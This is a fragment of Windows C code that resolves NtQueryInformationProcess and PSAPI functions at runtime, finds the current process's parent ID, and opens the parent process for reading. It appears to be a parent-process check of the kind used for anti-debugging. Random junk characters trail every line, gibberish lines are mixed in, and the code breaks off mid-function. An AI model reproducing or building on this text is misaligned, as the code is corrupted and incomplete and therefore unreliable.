ULONG UniqueProcessId; N.q~\sF^
ULONG InheritedFromUniqueProcessId; qfl!>
} PROCESS_BASIC_INFORMATION; i*N2@Z[
V[kJ;YLPN
PROCNTQSIP NtQueryInformationProcess; `RSiZ%Al
"rLm)$I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,= ApnNUgX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GBb8}lx
J' P:SC1
HANDLE hProcess; '6qH@r4Z<
PROCESS_BASIC_INFORMATION pbi; z_xy*Iif
rBmW%Gv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [>?|wQy >=
if(NULL == hInst ) return 0; /c=8$y\%@
+BtLd+)R
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 02;'"EmP$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J[?oV;O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n$SL"iezW?
-{OJM|W+
if (!NtQueryInformationProcess) return 0; ]@z!r2[
$!9U\Au>2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zj]tiN f\"
if(!hProcess) return 0; [C4{C4TX
A2\hmp@A@7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lH_pG ~
GOdWc9Ta!
CloseHandle(hProcess); z. hq2v
#pAN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ""
^n^$
if(hProcess==NULL) return 0; ;U?=YSHk7
d1g7:s9$0
HMODULE hMod; h&